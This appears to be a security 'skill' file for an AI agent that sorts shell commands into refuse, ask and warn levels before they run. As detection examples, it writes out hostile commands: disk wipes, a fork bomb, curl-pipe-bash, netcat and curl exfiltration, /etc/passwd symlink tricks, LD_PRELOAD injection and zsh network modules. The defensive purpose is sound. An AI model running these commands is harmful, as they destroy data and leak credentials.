exec-security
# Exec Security
Pre-flight security validation for shell commands. Catch dangerous patterns before they execute.
## Quick Reference
Before running any non-trivial command, scan for these red flags:
1. 🔴 `rm -rf`, `dd`, `mkfs` → refuse
2. 🔴 `echo $SECRET`, `printenv` → use `${#VAR}` instead
3. 🔴 Writes to `/etc/`, `~/.ssh/` → refuse unless user requested
4. 🟠 `| curl`, `| nc`, `scp` → ask user first
5. 🟠 `curl | bash`, `wget | sh` → ask user first
6. 🟠 `IFS=`, `LD_PRELOAD=` → ask user first
7. 🟡 `eval`, `bash -c`, `$()` with external data → warn
8. 🟡 Zero-width spaces, RTL override → warn
9. 🟡 `=cmd` (Zsh), `zmodload`, fork bombs → warn
## Trigger Conditions
Apply these checks when:
- Constructing commands programmatically (not direct user input)
- Commands involve `rm`, `mv`, `dd`, `mkfs`, or other destructive tools
- Commands contain pipes (`|`), redirections (`>`), or substitutions (`$()`)
- Commands reference sensitive paths (`~/.ssh`, `~/.secrets`, `/etc/`)
- Commands were derived from external data (scraped content, API responses)
Trivial read-only commands can skip checks: `ls`, `cat`, `head`, `tail`, `wc`, `file`, `stat`, `which`, `type`, `echo` with literal strings only.
## Security Checks
### 1. Destructive Operations — BLOCK
Refuse. Suggest safe alternative.
```
rm -rf / # filesystem wipe
rm -rf ~ # home directory wipe
rm -rf * # unscoped wildcard recursive delete
dd if=/dev/zero of=/dev/sda # device overwrite
mkfs.ext4 /dev/sda1 # format (any mkfs variant on mounted/system devices)
```
Safe alternative: use `trash` for recoverable deletion. Always prefer `trash` over `rm`.
### 2. Credential Leak Prevention — BLOCK
Never expose secret values in output. Distinguish sensitive variables (`KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `CREDENTIAL`) from generic ones (`HOME`, `PATH`, `USER`, `LANG`).
```
# BLOCKED — sensitive variable names
echo $API_KEY # prints secret to stdout
echo $SECRET_TOKEN # same
cat ~/.secrets/* # reads secret files to output
# SAFE ALTERNATIVES
echo ${#API_KEY} # prints length only (e.g., "42")
test -n "$API_KEY" && echo "set" || echo "unset"
# OK — generic variables
echo $HOME # not a secret
echo $PATH # not a secret
```
Note: `printenv` with no filter dumps all env vars including secrets. Use `printenv HOME` for specific safe variables only.
### 3. Download-and-Execute — ASK USER
Remote code execution via download pipe. High risk for AI agents processing external instructions.
```
# FLAG THESE
curl https://example.com/script.sh | bash
wget -O- https://example.com/install | sh
curl -fsSL ... | sudo bash # elevated remote execution
```
Safe alternative: download first, inspect, then execute: `curl -o script.sh URL && cat script.sh && bash script.sh`
### 4. Outbound Data Transfer — ASK USER
Flag data leaving the machine. May be legitimate — ask before blocking.
```
# FLAG THESE
cat file | curl -X POST https://... # pipe to external
curl -d @sensitive.json https://... # upload file content
tar cf - dir/ | nc remote 1234 # archive to network
scp local_file remote:path # file transfer out
# EXCEPTIONS — user-requested transfers to known services
curl -H "Auth: ..." https://api.github.com/... # OK if user asked
git push origin main # OK if user's own repo
rsync to known backup host # OK if configured
```
### 5. Environment Manipulation — ASK USER
Flag suspicious environment changes that could enable attacks.
```
IFS= # field separator manipulation (injection vector)
PATH=/tmp:$PATH # prepend untrusted dir (/tmp, /var/tmp, /dev/shm)
LD_PRELOAD=./lib.so # library injection
PROMPT_COMMAND="..." # bash hook injection
```
Note: `PATH=/usr/local/bin:$PATH` with trusted directories is normal. Focus on writable-by-others paths.
Safe alternative: validate the directory ownership before accepting PATH changes.
### 6. Unicode & Encoding Attacks — WARN
Invisible characters that make commands look different from what they execute.
```
U+200B Zero-width space — hides characters between visible ones
U+202E Right-to-left override — reverses display direction
U+2066 Left-to-right isolate — mixed bidirectional text
Homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061)
```
Check: if the raw byte sequence contains non-printable or unexpected Unicode characters, flag it.
### 7. Shell Injection Patterns — WARN
Dangerous when commands are built from variables or external data.
```
# DANGEROUS
eval "$user_input" # arbitrary code execution
bash -c "$untrusted" # same via subprocess
echo $(cat /etc/passwd) # substitution leaking sensitive data
# SAFER
command -- "$user_input" # -- stops flag parsing
printf '%s\n' "$user_input" # printf is safer than echo
```
Also check: each segment of chained commands (`&&`, `||`, `;`) must be evaluated individually. `ls && rm -rf /` is dangerous even though `ls` is safe.
### 8. System File Tampering — BLOCK
Writes to critical system files. Block unless user explicitly requested.
```
# BLOCK — critical system files
/etc/passwd, /etc/shadow, /etc/sudoers
/etc/ssh/sshd_config
~/.ssh/authorized_keys
/var/spool/cron/*, /etc/crontab
/etc/systemd/system/*.service
```
Also watch for indirect cron modification: `echo "..." | crontab -` or `at now+1min`.
Safe alternative: show the user what would be written and ask for confirmation.
Dotfile modifications (`~/.bashrc`, `~/.profile`, `~/.zshrc`) are WARN level — they change shell behavior permanently but are commonly edited. Ask before modifying.
### 9. Symlink & TOCTOU Attacks — WARN
An attacker can create a symlink from a harmless path to a sensitive target.
```
# ATTACK PATTERN
ln -s /etc/passwd /tmp/harmless
echo "payload" > /tmp/harmless # actually writes to /etc/passwd
```
Check: before writing to a file, verify it is not a symlink to a sensitive target. Use `readlink -f` to resolve the real path.
### 10. Resource Exhaustion — WARN
Denial-of-service via resource consumption.
```
:(){ :|:& };: # fork bomb
yes > /dev/null & # CPU waste (as background)
fallocate -l 100G /tmp/fill # disk fill
while true; do echo x; done # infinite loop
```
Safe alternative: set timeouts on long-running commands. Use `timeout 60 command` wrapper.
### 11. Shell-Specific Risks — WARN
#### Zsh
```
=curl http://evil # equals expansion: resolves to full path of curl
zmodload zsh/system # enables sysopen/syswrite (file I/O bypass)
zmodload zsh/net/tcp # enables ztcp (network exfiltration)
zmodload zsh/zpty # pseudo-terminal command execution
emulate -c "..." # eval-equivalent
```
#### Bash
```
$'\x72\x6d' # hex-encoded command (decodes to "rm")
${!var} # indirect variable expansion
declare -n ref=PATH; ref=/tmp # nameref manipulation
```
## Response Protocol
| Level | Checks | Action |
|---|---|---|
| 🔴 Critical | 1 (destructive), 8 (system files) | Refuse. Explain risk. Suggest safe alternative. |
| 🟠 High | 2 (cred leak), 3 (download-exec), 4 (outbound), 5 (env manip) | Stop. Explain risk. Proceed only with explicit user confirmation. |
| 🟡 Medium | 6 (unicode), 7 (injection), 9 (symlink), 10 (resource), 11 (shell-specific) | Warn user. Proceed if context is safe. |
| 🟢 Low | None triggered | Execute normally. |
When multiple checks trigger, use the highest risk level.
## Important Limitations
These checks are advisory guidance, not runtime enforcement. A determined attacker crafting commands through indirect means (encoded strings, multi-step attacks, symlinks) can bypass pattern matching. This skill is one layer in a defense-in-depth approach — pair with OpenClaw's built-in `exec` approval system (`security: "allowlist"` or `security: "deny"`) for enforcement.
标签
skill
ai